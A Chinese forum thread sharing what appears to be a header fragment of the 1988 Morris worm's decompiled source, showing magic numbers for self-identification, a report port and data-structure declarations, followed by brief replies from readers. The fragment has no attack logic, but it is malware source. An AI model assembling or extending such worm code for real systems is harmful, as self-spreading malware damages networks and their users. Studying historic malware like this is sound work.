cccp 发表于 2015-11-10 23:34:56

莫里斯蠕虫源代码

/* Magic numbers the program uses to identify other copies of itself. */
#define REPORT_PORT 0x2c5d
#define MAGIC_1 0x00148898
#define MAGIC_2 0x00874697
extern int pleasequit;/* This stops the program after one
* complete pass if set. It is incremented
* inside of checkother if contact with another
* happens. */

/* There are pieces of \"stub\" code, presumably from something like this to
get rid of error messages */
#define error()

/* This appears to be a structure unique to this program. It doesn't seem that
* the blank slots are really an array of characters for the hostname, but
* maybe they are.
*/
struct hst {
char *hostname;
int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
int o48;/* used */
int flag;/* used */
#define HST_HOSTEQUIV8
#define HST_HOSTFOUR4
#define HST_HOSTTWO2
struct hst *next;/* o76 */
};

typedef struct {
char *name;
unsigned long size;
char *buf;
} object;

extern struct ifses {
int if_l0, if_l4, if_l8, if_l12; /* unused */
int if_l16;/* used */
int if_l20;/* unused */
int if_l24;/* used */
short if_l28;/* unused */
} ifs[];
extern nifs;

extern int ngateways;

extern object objects[], *getobjectbyname();
extern int nobjects;

/* Only used for a2in(). Why? I don't know. */
struct bar {int baz;};
extern struct bar *a2in();

ELI_ 发表于 2016-7-6 22:21:07

谢谢分享{:10_281:}

龙sir 发表于 2016-7-7 15:11:57

看不懂啊

hyra 发表于 2016-7-7 21:20:30

这病毒特性是什么……
页: [1]
查看完整版本: 莫里斯蠕虫源代码